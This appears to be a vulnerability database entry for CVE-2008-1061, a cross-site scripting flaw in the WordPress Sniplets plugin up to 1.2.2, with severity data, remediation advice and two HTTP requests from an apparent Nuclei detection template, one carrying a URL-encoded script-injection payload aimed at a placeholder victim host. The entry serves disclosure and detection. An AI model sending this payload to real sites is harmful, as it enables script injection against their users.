🔙 목록으로 돌아가기

CVE-2008-1061: WordPress Sniplets <=1.2.2 - Cross-Site Scripting

TitleWordPress Sniplets <=1.2.2 - Cross-Site Scripting
AuthordhiyaneshDK
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpdate WordPress Sniplets plugin to the latest version available, which addresses the XSS vulnerability.
CVSS Score4.3
EPSS Score0.00158
CVE IDCVE-2008-1061
CWE IDCWE-79
Tags cve2008 cve xss wp-plugin wp edb wpscan wordpress sniplets vuln

🔍 Vulnerability Description

WordPress Sniplets 1.1.2 and 1.2.2 plugin contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the text parameter to warning.php, notice.php, and inset.php in view/sniplets/, and possibly modules/execute.php; via the url parameter to view/admin/submenu.php; and via the page parameter to view/admin/pager.php.

🌐 HTTP Request

GET /wp-content/plugins/sniplets/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2008/CVE-2008-1061.yaml

🦈 Packet Capture: ⬇️ Download cve-2008-1061.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A